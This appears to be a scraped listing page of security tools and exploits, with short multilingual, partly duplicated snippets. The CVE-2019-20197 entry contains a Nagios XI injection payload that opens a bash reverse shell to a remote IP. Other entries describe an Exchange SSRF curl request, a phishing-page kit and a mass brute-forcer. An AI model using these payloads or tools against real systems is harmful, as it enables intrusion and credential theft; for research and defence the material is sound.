CVE-2021-26855_PoC

CVE-2021-26855PoC I miei primi payload SSRF CVE-2021-26855 su Exchange Server 2019... Payload 1 root@kitploit: curl -i -s -k -X $'GET' -H $'Host: ' -H $'User-Agent: alex666' -H $'Connection: close' -b $'X-AnonResource=true;...

SneakyEXE

SneakyEXE root@kitploit: /$$$$$$ /$$ /$$$$$$$$ /$$ /$$ /$$$$$$$$ /$$ $$ | $$ | $$/| $$ / $$| $$/ | $$ / /$$$$$$$ /$$$$$$ /$$$$$$ | $$ /$$ /$$ /$$| $$ | $$/ $$/| $$ | $$$$$$ | $$ $$ /$$ $$ | $$| $$ /$$/| $$ | $$| $$$$$ \ $$$$/ | $$$$$ \ $$| $$ \ $$| $$$$$$$$ /$$$$$$$| $$$$$$/ | $$ | $$| $$/ $$ $$ ...

sjet

sJET von siberas siberas JMX Exploitation Toolkit sJET ermöglicht eine einfache Ausnutzung unsicher konfigurierter JMX-Dienste. Weitere Hintergrundinformationen finden Sie hier und hier. Voraussetzungen Jython 2.7 Verwendung SJET implementiert ein CLI-Interface mit argparse: root@kitploit: jython...

CVE-2024-30051

Vulnerabilità di Elevazione dei Privilegi nella Libreria DWM Core di Windows CVE-2024-30051 Pubblicata il 15 Agosto 2024 In questo post del blog, spiegherò una vulnerabilità nella libreria DWM Core di Microsoft Windows che ho analizzato quando lo exploit per Core Impact veniva sviluppato. Permett...

fuzztruction

Fuzztruction Fuzztruction is an academic prototype of a fuzzer that does not directly mutate inputs as most fuzzers do but instead uses a so-called generator application to produce an input for our fuzzing target. As programs generating data usually produce the correct representation, our fuzzer...

nikto

nikto Nikto web server scanner - https://cirt.net/Nikto2 Full documentation - https://github.com/sullo/nikto/wiki Run normally: root@kitploit: git clone https://github.com/sullo/nikto Main script is in program/ cd nikto/program Run using the shebang interpreter ./nikto.pl -h http://www.example.co...

nikto

nikto Nikto web server scanner - https://cirt.net/Nikto2 Documentazione completa - https://github.com/sullo/nikto/wiki Esecuzione normale: root@kitploit: git clone https://github.com/sullo/nikto Main script is in program/ cd nikto/program Run using the shebang interpreter ./nikto.pl -h...

kubernetes-goat

Kubernetes Goat ✨ The Kubernetes Goat is designed to be an intentionally vulnerable cluster environment to learn and practice Kubernetes security 🚀 🙌 Refer to https://madhuakula.com/kubernetes-goat for the guide 📖 🧰 Setting up Kubernetes Goat Ensure you have admin access to the Kubernetes cluster...

CVE-2019-20197

CVE-2019-20197 Nagios XI दूरस्थ कमांड निष्पादन भेद्यता = v5.6.9 Payload http://10.10.20.100:81/nagiosxi//includes/components/scheduledreporting/schedulereport.php id=a%22%3B%2fbin%2fbash%20-l%20%3E%20%2fdev%2ftcp%2f10.10.20.166%2f8989%200%3C%261%202%3E%261%0A%3B Burpsuite root@kitploit: POST...

CVE-2020-0022

Vulnerabilità CVE-2020-0022 su Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 Di Polo35 - 2020/08/24 "Utilizzo: python poloexploit.py targetbtmac targetadbip, shellcommand, disablereboot, verbose" Basato sugli script di Jan Ruge CVE-2020-0022: un RCE Bluetooth Zero-Click su Android 8.0-9.0 ...

AllPhish

Hacker Destination's Twitter - Hacker Destination's Blog Pagine Web : 1 Facebook| 2 Gmail ---|--- 3 Instagram| 4 Twitter 5 Github| 6 Netflix 7 Paypal| 8 Origin 9 Steam| 10 Yahoo 11 LinkedIn| 12 ProtonMail 13 Wordpress| 14 Microsoft 15 IGFollowers| 16 Ebay 17 Pinterest| 18 CrytoCurrency 19 Verizon...

CVE-2022-0492

CVE-2022-0492 Analyse des Container-Escape toc Schwachstellenübersicht Schwachstellen-ID: CVE-2022-0492 Betroffenes Produkt: Linux Kernel - cgroup Betroffene Versionen: Linux Kernel 5.17-rc3 Auswirkungen: Wenn der Container keine zusätzlichen Sicherheitsmaßnahmen aktiviert hat, kann ein...

Malicious code in es6-migrator (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector daeec82833ba2519ba974153de0fb545f6b5c088ed2a8145680ede73c5b0b9b8 The package's declared preinstall script runs beacon.js on npm install. The beacon unconditionally collects installer-side identity fields hostname, ...

MAL-2026-15553 Malicious code in es6-migrator (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector daeec82833ba2519ba974153de0fb545f6b5c088ed2a8145680ede73c5b0b9b8 The package's declared preinstall script runs beacon.js on npm install. The beacon unconditionally collects installer-side identity fields hostname, ...

Twitter-Info

Twitter Info Un semplice script Python per recuperare informazioni sull'account Twitter come: Nome Seguiti Follower Mi piace Data di creazione dell'account Foto del profilo semplicemente tramite nome utente o link del profilo. Utilizzo root@kitploit: python3 twitterinfo.py or Esempio Input...

fprobe

FProbe FProbe - Sonda HTTP Veloce Installazione root@kitploit: GO111MODULE=on go get -u github.com/theblackturtle/fprobe Caratteristiche Prende una lista di domini/sottodomini e verifica la presenza di un server http/https funzionante. Ottimizza RAM e CPU in esecuzione. Supporta porte speciali pe...

mass-bruter

Mass Bruter Mass bruteforce network protocols Info Simple POC to quickly mass bruteforce common services in a large scale of network. It will check for default credentials on ftp, ssh, mysql, mssql...etc. This was made for authorized penetration testing purpose only. How it works 1. Use...

mass-bruter

Mass Bruter Bruteforce massivo di protocolli di rete Informazioni Semplice POC per eseguire rapidamente bruteforce massivo di servizi comuni su larga scala di rete. Verifica le credenziali predefinite su ftp, ssh, mysql, mssql... ecc. Realizzato solo a scopo di penetration testing autorizzato. Co...

SCANNER-INURLBR

Descrizione Ricerca avanzata nei motori di ricerca, consente l’analisi fornita per sfruttare GET / POST catturando email e URL, con una validazione personalizzata interna per ogni target/URL trovato. Uno strumento PHP che può essere eseguito su diverse distribuzioni Linux aiuta hacker e...

php_code_analysis

questo script scannerà il tuo codice lo script può trovare 1. checkfileupload issues 2. hostheaderinjection 3. SQl injection 4. insecure deserialization 5. openredirect 6. SSRF 7. XSS 8. LFI 9. commandinjection caratteristiche 1. veloce 2. report semplice utilizzo: root@kitploit: python code.py...